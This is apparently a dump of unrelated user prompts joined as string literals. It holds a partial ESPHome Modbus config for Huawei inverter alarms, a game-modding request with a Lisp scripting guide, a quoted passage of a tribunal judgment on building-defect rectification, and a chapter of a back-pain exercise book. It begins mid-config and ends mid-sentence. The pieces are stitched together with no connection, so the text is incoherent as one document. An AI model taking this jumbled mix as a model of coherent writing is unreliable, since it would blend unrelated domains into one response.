holding\n address: 32000\n bitmask: 0x100\n - name: "Huawei inverter state spot check"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x200\n # Register 32002\n - name: "Huawei inverter state unlocked"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32002\n bitmask: 0x1\n - name: "Huawei inverter state PV connected"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32002\n bitmask: 0x2\n - name: "Huawei inverter state DSP data collection"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32002\n bitmask: 0x4\n # Register 32003\n - name: "Huawei inverter state off-grid"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32003\n bitmask: 0x1\n - name: "Huawei inverter state off-grid switch enable"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32003\n bitmask: 0x2\n # Register 32008\n - name: "Huawei inverter alarm High String Input Voltage"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0001\n - name: "Huawei inverter alarm DC Arc Fault"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0002\n - name: "Huawei inverter alarm String Reverse Connection"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0004\n - name: "Huawei inverter alarm String Current Backfeed"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0008\n - name: "Huawei inverter alarm Abnormal String Power"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0010\n - name: "Huawei inverter alarm AFCI Self-Check Fail"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0020\n - name: "Huawei inverter alarm Phase Wire Short-Circuited to PE"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0040\n - name: "Huawei inverter alarm Grid Loss"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0080\n - name: "Huawei inverter alarm Grid Undervoltage"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0100\n - name: "Huawei inverter alarm Grid Overvoltage"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0200\n - name: "Huawei inverter alarm Grid Volt. Imbalance"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0400\n - name: "Huawei inverter alarm Grid Overfrequency"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x0800\n - name: "Huawei inverter alarm Grid Underfrequency"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x1000\n - name: "Huawei inverter alarm Unstable Grid Frequency"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x2000\n - name: "Huawei inverter alarm Output Overcurrent"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x4000\n - name: "Huawei inverter alarm Output DC Component Overhigh"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32008\n bitmask: 0x8000' +'I would like to brainstorm 10 equps that deal damage in interesting ways. We can use chance a lot. For example:\n\nDeal 10 damage\nDeal 1 damage 5 times\nDeal 5 damage, 50% chance of dealing another 5 damage until miss\nDeal 100 damage, gain 10 corruption\nDeal 30 damage, If this attack deals more than 50 damage, add 5 rage\n\n# GAME SUMMARY:\nThe RPG game is a rogue like where the player advances through multiple encounters, some of which are battles, and collects equips.\nBy equipping these equips to their characters, their characters get new abilities in battle, which allows them to win more difficult battles and advance further.\n\n# BATTLE MECHANICS SUMMARY:\nEach battle has two teams, the player and the enemy ai.\nThe player team consists of 3 characters, called Dimensionals\nThe enemy team consists of 1 or more characters, called Enemies\n\nEach team takes turns, where they cast equips to modify the battle state.\nThe battle state is modified by apply effects to characters and equips.\nUsually effect modifies statuses, which persist between turns.\n\nThere are two types of equips, active and passive.\nActive equips will immediately apply effects when cast.\nPassive equips are not cast, but instead listen to triggers in the battle and apply effects or modify other effects.\nEach character has equips that have been equipped to them by the player before the battle starts\n\nThe player starts their turn with a set amount of mana.\nEach active equip costs mana.\nAs the player casts active equips, it will deplete their mana\nOnce the players mana is less than their lowest available equip mana cost, the turn ends.\n\nThe player can only cast each active equips once per turns\nUnless the equip has the refresh status, or is modified to refresh and become active again\n\nEach character has the status maxHP, and the status HP\nWhen a characters HP reaches zero, they die and can no longer cast active or passive equips equiped to them.\n\n# LISP MOD STRUCTURE:\nThere is a set of lisp files that have been bound to the core C# game engine\nThese lisp files also define macros that simplify the modding script\nThese lisp files define all battle mechanics summarized above\nAll lisp code required to fully modify the game is contained in a single lisp file\nBoiler plate macros and functions are contained in a core.l lisp file\n\n# LISP CODING GUIDE\n\n## Statuses\nStatus are ints that are modified by effects\nStatus are keyed by equip or character, so each character and equip will have their own set of status variables\n\nHere is an example of setting a status "\'hp" on a character:\n (hasStatus character \'hp)\n (statusGet character \'hp)\n (statusDecrement character \'hp amount)\n (statusIncrement character \'hp amount)\n (statusSet character \'hp amount)\n\nWe the wrap these functions in HP status functions for naming convineince as follows. This is not strictly necessary, but makes the code more readable:\n\n (defun isAlive (character)\n (hasStatus character \'hp))\n\n (defun isDead (character)\n (not (isAlive character)))\n\n (defun getHp (character)\n (statusGet character \'hp))\n\n (defun getHpMax (character)\n (statusGet character \'hpMax))\n\n (defun statusHpDecrement (character amount)\n (statusDecrement character \'hp amount))\n\n (defun statusHpIncrement (character amount)\n (statusIncrement character \'hp amount))\n\n (defun statusHpSet (character amount)\n (statusSet character \'hp amount))\n\nEvery status will have its own unique wrappers, depending on the functionality of the status.\n\n### Effects:\nEffects are objects that contain data and logic which are used to modify a status.\n\nFor example, the damage effect is used to modify the HP status of a character by subtracting the effectAmount damage.\n\nEffects are used by equips to modify battle state.\nActive equips will apply their effects when cast\nPassive equips will apply their effects on certain triggers\n\nEffects are defined in code like this:\n (defEffectExt damage (amount)\n (when (isAlive effectTarget)\n (statusHpDecrement effectTarget effectAmount)))\n\nEffects can be nested within other effects:\n (defEffectExt rageAbsorb ()\n (applyEffect (rage (getRage effectTarget)) effectEquip effectSource effectSource)\n (applyEffect (rageReset) effectEquip effectSource effectTarget))\n\nEffects can have conditional logic, based on statuses:\n (defEffectExt heatBlow (amount)\n (if (hasBlock effectTarget) (applyEffect (corruption amount) effectEquip effectSource effectTarget) (applyEffect (damage amount) effectEquip effectSource effectTarget)))\n\nEffects have various helper functions that can be used for custom logic:\n### Triggers:\nTriggers are event handlers that listen for specific events in the battle. They can contain any logic, but primarily are used to apply effects.\n\nTriggers are used frequently by passive equips and other game logic to react to a specific change in state.\n\nThere are three types of events triggers listen to. \'OnEvent\', \'BeforeEvent\' and \'AfterEvent\'.\n\nThere are two types of Triggers:\n - instant trigger: will be executed before queued effects are applied\n - delayed trigger: will be executed after all queued effects have been applied. Most triggers are delayed.\n\nTriggers defined for passive equips take two additional arguments, equip and owner.\n\nHere are the list of available triggers. These are trigged by either commands or effects: \\*Setup\\*,\\*Start\\*,\\*EquipStartEffectGroupApply\\*,\\*BattleStart\\*,\\*CheckEnd\\*,\\*End\\*,\\*BattleWin\\*,\\*BattleLose\\*,\\*RoundBegin\\*,\\*RoundEnd\\*,\\*TeamTurnBegin\\*,\\*TeamForecast\\*,\\*Forecast\\*,\\*TeamForecastReplay\\*,\\*ForecastReplay\\*,\\*ForecastCancel\\*,\\*TeamTurnEnd\\*,\\*TeamManaRestore\\*,\\*TeamManaSpend\\*,\\*TurnBegin\\*,\\*TurnEnd\\*,\\*CharacterCreate\\*,\\*CharacterDie\\*,\\*StatusSet\\*,\\*StatusDecrement\\*,\\*StatusIncrement\\*,\\*EquipStatusSet\\*,\\*EquipStatusDecrement\\*,\\*EquipStatusIncrement\\*,\\*EquipsSync\\*,\\*EquipCreate\\*,\\*EquipTrigger\\*,\\*EquipDestroy\\*,\\*Cast\\*,\\*EffectGroupApply\\*,\\*EffectApply\\*\n\n#### Trigger Examples\nHere is an example of a passive equip that uses an instant trigger to prevent poison damage:\n (defPassive Antibody-3 3 "icon:Card\\_PoisonBlade" "Antibody" "Character is unaffected by " anyType\n (setTriggers\n (defInstantTriggerExt \\*beforePoisonDamage\\* \'Antibody-3 (equip owner effect)\n (when (and (isEffectIncoming effect owner) (isAlive owner))\n (setEffectAmount effect 0)\n (applyEffect (poisonDamageImmune) equip owner owner)))))\n\nHere is an example of a passive that adds block after damage has been applied:\n (defPassive Trapper1-Block-1 1 nil "Block" "Adds 10 when damaged" anyType\n (setTriggers\n (defTriggerExt \\*afterDamage\\* \'Trapper1-Block-1 (equip owner effect)\n (when (isEffectIncoming effect owner)\n (applyEffect (block 10) equip owner owner)))))\n\nHere is an example of a Passive Equip being defined, which uses a trigger to add block to all allies on turn begin:\n (defPassive Hard-Shell-1 1 "icon:Card\\_DiversionCall" "Hard Shell" "Allies gain 5 at the start of the turn" anyType\n (setTriggers\n (defTriggerExt \\*onTurnBegin\\* \'Hard-Shell-1 (equip owner character)\n (when (and (eql owner character) (isAlive owner))\n (applyEffectOnAllies (block 5) equip owner)))))\n\nWe define macros to make trigger code more concise, for example:\n (defmacro defTriggerOnCharacterDie (id &rest handler)\n `(defTriggerExt \\*onCharacterDie\\* ,id (character) ,@handler))\n\n (defmacro defTriggerAfterCast (id &rest handler)\n `(defTriggerExt \\*afterCast\\* ,id (equip character) ,@handler))\n\n (defmacro defTriggerOnTurnBegin (id &rest handler)\n `(defTriggerExt \\*onTurnBegin\\* ,id (character) ,@handler))\n\n (defmacro defTriggerOnTeamTurnBegin (id &rest handler)\n `(defTriggerExt \\*onTeamTurnBegin\\* ,id (team) ,@handler))\nHere is an example of using triggers to create the "block" mechanic, which "blocks" incoming damage based on the amount of block status the character has:\n (defTriggerOnTeamTurnBegin \'block\n (dolist (character (getCharacters team))\n (when (and (isDimensional character) (hasBlock character))\n (applyEffect (blockReset) nil nil character))))\n\n (defTriggerOnDamage \'block\n (let ((blockAmt (getBlock target)))\n (when (> blockAmt 0)\n (if (>= blockAmt effectAmount)\n (progn\n (setEffectValue effect \'damageBlocked effectAmount)\n (applyEffect (blockDecrement effectAmount) nil nil target)\n (setq effectAmount 0))\n (progn\n (setEffectValue effect \'damageBlocked blockAmt)\n (applyEffect (blockDecrement blockAmt) nil nil target)\n (setq effectAmount (- effectAmount blockAmt))))\n (setEffectAmount effect effectAmount))))\n\n (defTriggerOnCharacterDie \'block\n (when (hasBlock character)\n (applyEffect (blockReset) nil nil character)))\n\n## Mechanics\nMechanics a combination of statuses, effects, triggers, combined with helper functions.\nMechanics are used to passively apply effects based on status.\nExamples of mechanics include:\n\n (defun hasPoison (character)\n (hasStatus character \'poison))\n\n (defun getPoison (character)\n (statusGet character \'poison))\n\n (defun statusPoisonIncrement (character amount)\n (statusIncrement character \'poison amount))\n\n (defun statusPoisonDecrement (character amount)\n (statusDecrement character \'poison amount))\n\n (defun statusPoisonSet (character amount)\n (statusSet character \'poison amount))\n\n (defun statusPoisonReset (character)\n (statusPoisonSet character 0))\n\n (defEffectExt poisonTick ()\n (statusPoisonDecrement effectTarget 1))\n\n (defEffectExt poison (amount)\n (statusPoisonIncrement effectTarget effectAmount))\n\n (defEffectHint \'poison "Poison" "Applies 1 for each point on turn begin" \'negative "" "" "")\n\n (defEffectExt poisonDamage (amount)\n (statusHpDecrement effectTarget effectAmount))\n\n (defEffectExt poisonDamageImmune ())\n\n (defEffectExt poisonReset ()\n (statusPoisonSet effectTarget 0))\n\n (defTriggerOnTeamTurnBegin \'poison\n (batch (lambda ()\n (dolist (target (getCharacters team))\n (when (and (isAlive target) (hasPoison target))\n (applyEffect (poisonDamage (getPoison target)) nil nil target)\n (applyEffect (poisonTick) nil nil target))))))\n\n (defTriggerOnCharacterDie \'poison\n (when (hasPoison character)\n (applyEffect (poisonReset) nil nil character)))\n\n## Active Equips\nActive equips are equips that are used to directly apply effects during the players turn.\nActive equips have a mana cost. When used it will deplete player mana by that amount\nActive equips have a target, which can be: none, caster, ally, allies, enemy, enemies, all, any\nActive equips specify an effect group, which is a list of effects to be applied to a target\nActive equips specify a type restriction, which type of dimensional it can be applied to\n\nActive equips can specify warmup, which requires the player waits X turns before using the equip\nActive equips can specify cooldown, which requires the player waits X turns after using the equip before it can be used again\n\nExample of an active equip that applies corruption to one enemy:\n (defActive Corrupt-1 1 "icon:Card\\_Corrupted" "Corrupt" "Adds 3 to target" supporterType 2 \'enemy (onTarget (corruption 3)))\n\nExample of an active equip that adds 5 poison, and then adds additional poison equal to the enemies corruption.\n (defEffectExt acidify()\n (if (hasCorruption effectTarget) (applyEffect (poison (getCorruption effectTarget)) effectEquip effectSource effectTarget)))\n\n (defActive Acid-1 1 "icon:spn\\_040" "Acid" "Add 5, if target is Corrupted, add that much , 3, 3" attackerType 3 \'enemy (onTarget (poison 5) (acidify)) (onEquip (cooldown 3)) (warmup 3))\n\nExample of an active equip deadly devotion that kills the caster, ad adds 30 rage and heal to allies with 5 warmup\n (defActive Deadly-Devotion-1 1 nil "Deadly Devotion" "Allies gain 30 and 30 health, caster dies, 5" supporterType 2 \'allies (onAllies (rage 30) (heal 30)) (onCaster (die)) (warmup 5))\n\n## Passive Equips\nPassive equips are used to react to events in battle.\nPassive equips contain a list of triggers that apply effects and have custom logic\nPassive equips do not have a mana cost, target.\n\nExample of a passive equip that applies 3 poison to all enemies when the owner takes unblocked damaged\n (defPassive Toxic-Trap-1 1 "icon:Card\\_ToxicTrap" "Toxic Trap" "When attacked, add 3 to all enemies" anyType\n (setTriggers\n (defTriggerExt \\*afterDamage\\* \'Toxic-Trap-1 (equip owner effect)\n (when (and (isEffectIncoming effect owner) (isAlive owner))\n (applyEffectOnEnemies (poison 3) equip owner)))))\n\nExample of a passive equip that makes you immune to poison damage\n (defPassive Antibody-3 3 "icon:Card\\_PoisonBlade" "Antibody" "Character is unaffected by " anyType\n (setTriggers\n (defInstantTriggerExt \\*beforePoisonDamage\\* \'Antibody-3 (equip owner effect)\n (when (and (isEffectIncoming effect owner) (isAlive owner))\n (setEffectAmount effect 0)\n (applyEffect (poisonDamageImmune) equip owner owner)))))\n\nExample of a passive equip that adds 2 corruption to all enemies each turn:\n (defPassive Bad-Influence-2 2 nil "Bad Influence" "Add 2 each turn to all enemies" anyType\n (setTriggers\n (defTriggerExt \\*onTurnBegin\\* \'Bad-Influence-2 (equip owner character)\n (when (and (eql owner character) (isAlive owner))\n (applyEffectOnEnemies (corruption 2) equip owner)))))\n\n# DO NOT BREAK THESE RULES UNDER ANY CIRCUMSTANCES:\n## Rule 1:\nDO NOT apply an effect during a trigger that listens to the same effect on the same target. For example, do not apply heal effect when listening to \\*afterHeal\\* trigger. DO NOT DO THIS:\n\n (defTriggerExt \\*afterHeal\\* \'Blessing-Mechanic-1 (equip owner effect)\n (when (and (isEffectIncoming effect owner) (isAlive owner))\n (let ((blessingAmount (getBlessing owner)))\n (when (> blessingAmount 0)\n (applyEffect (heal blessingAmount) equip owner owner)))))\n\n## Rule 2:\nDo not use any functions or syntax that haven\'t been outlines or implied in this document. For example MESSAGE here is wrong:\n (message owner (concatenate \'string "Healed for an additional " (princ-to-string blessingAmount) " from Blessing"))' +'This is part 6 of my multiple messages. I will continue to send you further messages. Do not write anything for now. If you understand my request, please reply by only saying "acknowledged"\n\nMr Bournelis suggested all 30 lineal metres of blockwork should be removed and replaced, which would require removing and reinstalling the fence. The total cost of his suggested method of rectification was said to be $14,650 for each unit, giving a total cost of rectification of $29,300.\n\nMr Sim suggested an alternative method of rectification of rendering and painting the existing block work at an estimated cost of $2,480 for each unit. When cross-examined, Mr Sim expressed the view that replacement of the blockwork was unnecessary as the retaining wall was structurally sound with the result that the result that the method of rectification suggested by Mr Bournelis involved significant work (and cost) with little benefit.\n\nIn closing submissions for the owner, reference was made to what was said in Tabcorp to the effect that qualification expressed in Bellgrove, namely that the proposed method of rectification must be both necessary to produce conformity with the contract and a reasonable course to adopt, is only satisfied by “fairly exceptional circumstances”.\n\nThe question of whether a method of rectification is reasonable depends on the factual circumstances of each case. Here, there is no evidence to suggest that the retaining walls have any structural deficiency: the only difference between what was built and what would conform with the contract is aesthetic in that “split face blocks” have a rough rather than a smooth surface. The subject blocks are only two or three courses high and sit underneath a Colorbond fence. More than half the length of the retaining wall is at the rear of the property where it is only visible to the occupants and, even then, not often. The estimated cost of changing from a smooth surface to a rough surface for both walls is $29,300.\n\nIt is considered that incurring that cost in such circumstances is not a reasonable course to adopt and that support for that view is to be found in the fact that the alternative method of rectification, estimated to cost about one sixth of the method proposed by the owner, will result in a rendered and painted finish, the colour of which can be chosen to match either the fence or the house.\n\nFor those reasons, the Tribunal is satisfied that the work order should include the method of rectification for which Mr Sim contended for this alleged defect.\n\nConcrete path. This item, relating to unit 2, was described in the report of Mr Bournelis (A1260) as follows:\n\nLeft hand side concrete path dips, no falls away from the dwelling with severe pooling of water along the length of the side path and the drain is blocked towards the front of the property.\n\nHis suggested method of rectification was to demolish and reinstate a section of the path with an estimated cost of $7,840 for that work.\n\nIn his report (A1321), Mr Sim agreed there was pooling water but suggested there is drainage which appears to be blocked, as indicted in a provided photo. His estimated cost of rectification, for clearing that blockage, was $400.\n\nWhen cross-examined in relation to this item, Mr Sim said he only saw water ponding around the blocked drainage and that there was a fall away from the dwelling.\n\nThe opinion of Mr Bournelis quoted above contained opinions without any indication of the basis for those opinions: there is nothing to suggest any measurements or water tests. He claims there are no falls in the path away from the dwelling, but Mr Sim asserts there are, and the Tribunal has not been provided with any reason why that conflict should be resolved in favour of Mr Bournelis. In relation to this item, the owner has failed to prove there is any defect beyond a blocked drain. As a result, the method of rectification proposed by Mr Sim is accepted as the appropriate outcome.\n\nDefective work. As no written or oral submissions were made to assist the Tribunal as to the form of a work order, it is necessary to undertake that exercise by reference primarily to the joint report, and to the reports of the experts as and when necessary. Unfortunately, the individual defects were not numbered sequentially and repeatedly reverted to 1 and contain sub-headings within the numbered defects. To facilitate future reference, the work order contains sequential numbering with sufficient indication to enable identification of the matters raised in the joint report (JR). What is set out below is confined to providing reasons in relation to disagreements as to either whether there is a defect and what is the reasonable method of rectification.\n\nUnit 1, internal. In the kitchen, item 2(e) was disputed as to liability. Mr Bournelis referred to AS 4386.1 which requires 300 mm clearance from combustible surfaces for a cooktop and provided a photo which suggested a 60mm clearance from a wall. Mr Sim noted that wall within 300mm is not combustible. As a result of that evidence, which was not refuted, this item does is not considered to involve a defect.\n\nIn the master bedroom and ensuite, items 10(c), 10(d), and 10(e) were disputed as to liability. As to (c), Mr Sim expressed the view that the owner selected the mirror but the factual basis for that opinion does not appear to have been established. The only document the Tribunal has been able to locate is a claim by Mr Khan (A575) but there does not appear to be any document to corroborate that claim. As to (d) and (e), Mr Bournelis suggested a lack of drawers in the vanity and a water pipe evident in the underside of the vanity were defects but did not provide any basis for those opinions. In those circumstances, (c) is considered a defect but not either (d) or (e). Item 11(d) is not considered a defect for the same reason as item 10(e).\n\nThe response of Mr Sim to items 12(a), 12(b), and 12(c) was that the vanity and mirror were selected by the owner. Again, applying what was said in Makita, there is no indication of the basis for that opinion. As a result, items 12(b) and 12(c) are considered to involve defects.\n\nIt is convenient to here note that if items within the scope of work were the result of choices made by the owner, with the result that he does not wish to have them changed, then he can agree not to have those aspects of the work order carried out. Provision for that election to be made in writing has been included in the work order.\n\nIn relation to item 13, as to the method of rectification for the areas where no insulation batts were installed, the Tribunal is satisfied that the method of rectification suggested by Mr Sim is reasonable way to carry out that work.\n\nAs to item 15, the two photos provided by Mr Bournelis (on A1136 and A1137) do not indicate to the Tribunal what he alleges. The Tribunal is left with competing evidence: Mr Bournelis claiming there is evidence of water stains and grass clippings; Mr Sim finding no such evidence. The factual foundation for this alleged defect has not been established and the owner has failed to discharge the onus of proof which he bears.\n\nThe position in relation to item numbered 17 is the same as item 15: there is a conflict between the evidence of the experts as to whether there is “breeze flowing through the dwelling”. As no reliable reason has been provided for accepting the evidence of one expert and rejecting the evidence of the other expert in relation to this item, the owner has failed to prove this alleged defect.\n\nUnit 1, external. Item 1(g) is another case of conflicting expert evidence: Mr Bournelis stating: “Water tap pipe not connected in front yard” (A1144)and Mr Sim saying: “I found the water pipe to the front of the dwelling was connected …” (A1301). The joint report does no more than record their disagreement. This is another instance where the alleged defect has not been proved.\n\nItem 2(b) contains no more than “Ingress of water to light fittings at the front façade” in the report of Mr Bournelis (A1146) and suggested rectification work of: “Allow electrician to remove and replace light fittings with water resistant light fittings”. Mr Sim’s response was: “The electrician was onsite during my site investigation to replace the light fittings” (A1302) and that evidence was not challenged. The ten words of Mr Bournelis provides scant support for this defect and the unchallenged evidence of Mr Sim suggest the rectification work for which Mr Bournelis contended has already been undertaken. In relation to this item the Tribunal is not persuaded that there is any defect or that any addition to the work order is warranted.\n\nItem 4(d) is another instance where the evidence of Mr Bournelis was brief:\n\nWindow head outside Level 1 Family Room not square, see photograph 30A below.\n\nThere was no measurement or other supporting evidence apart from that photo (A1150) which does not provide sufficiently clear evidence. Mr Sim expressed the view that this item did not involve a defect because it cannot be seen from a normal viewing position and is not measurable. There is insufficient evidentiary support for the inclusion of this item as a defect warranting the rectification work suggested by Mr Bournelis.\n\nItem 8 is another instance where the expert evidence clashes. Mr Bournelis claims paint is peeling off the driveway and provides a photo which does not make that clear. Mr Sim said that, based on his site inspection, there was no paint peeling from the driveway and provided a photo which does not appear to suggest any defect. This is another item where the evidence does not enable the Tribunal to make a finding that there is a defect. As a result, no addition has been made to the work order in relation to his item.\n\nUnit 2, internal. Item 2(b) will, according to Mr Sim, require a free service from the window manufacturer. That item should be included in the work order so that the work is carried out. Item 2(c) is another item where the is limited evidence from Mr Bournelis and competing evidence from Mr Sim. As with other such situations, this item has not been included in the work order.\n\nItem 4(b) is rejected for the same reason as item 2(e) in unit 1. Items 4(e) and 4(f), which are further instances of little evidence from Mr Bournelis and competing evidence from Mr Sim, have not been included in the work order.\n\nIn relation to item 8(b), Mr Bournelis said no more than “No exposed projector and screen as specified” (A1167) which does not indicate whether he is claiming none were supplied of that what was supplied was not as specified. Mr Sim provided photos of a projector, on a shelf, and a screen (A1310). The work order has been framed to include the supply and installation of what was specified which may or may not require further work.\n\nAs to item 8(c), the opinion of Mr Bournelis is based on instructions. It is not identified who provided those instructions. If those instructions came from the owner, they are not considered sufficiently reliable. This item is treated as having been covered by the issue of insulation, considered above.\n\nThe oral evidence revealed that a sound bar was supplied. However, the contract was based on a quotation which specified “High Spec Polk Home Theatre Sound System” (A479) which should have been supplied and installed.\n\nMoving from item 8(f) to item 8(g), the contract specified “Frost Glazing Sliding Door to Media Room” and provided a photo (A479). Mr Bournelis provided a photo which shows that was not done (A1167). Mr Sim disagreed that a frosted sliding door was part of the contract and suggested a wardrobe had been installed instead of sliding doors (A1309). As there does not appear to be any evidence of a variation, the Tribunal considers the work order should include what was included in the quotation upon which the contract was based.' +'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving 